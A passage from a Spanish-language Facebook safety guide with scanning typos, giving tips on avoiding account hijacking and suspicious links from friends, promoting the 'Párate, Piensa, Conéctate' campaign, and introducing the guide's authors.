Firefox para prevenir que tu cuenta sea secuestrada.

* Cuidado con los posts “goofy” de cualquiera, incluso Amigos. Si parece algo que
tu Amigo no postearia, no hagas clic en ello.

* Los timadores pueden hackear las cuentas de tus Amigos y enviar vinculos desde
sus cuentas. Cuidado con vinculos tentadores que provengan de tus Amigos.

iRecuerda PARATE | PIENSA | CONECTATE!
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http://www.facebook.com/

Si quieres una mayor proteccion en la Red, por favor consulta la campafia Pdrate,
Piensa, Conéctate tanto dentro como fuera de Facebook. Consulta la pagina de
seguridad de Facebook y haz el test de Seguridad de forma que compruebes tus

conocimientos y aprendas las practicas recomendadas sobre seguridad en Internet.

Sobre el equipo

La Guia de seguridad en Facebook ha sido escrita conjuntamente por reputados
autores del sector de la seguridad.

Linda McCarthy fue Directora principal de Seguridad en Internet de Symantec.
Linda aporta 20 afios de experiencia en dreas de formacion en seguridad, auditoria,
y desarrollo de productos.

Keith Watson es ingeniero en investigaciéon de seguridad en la Universidad
Purdue. Sus areas de investigacion han sido: arquitectura de la seguridad,
biometria, ciencias forenses digitales, programacién de seguridad y privacidad.

Denise Weldon-Siviy es profesora y editora con dos décadas de experiencia en

edicién y una casa llena de adolescentes usuarios de Facebook.

PARATE | PIENSA | CONECTATE
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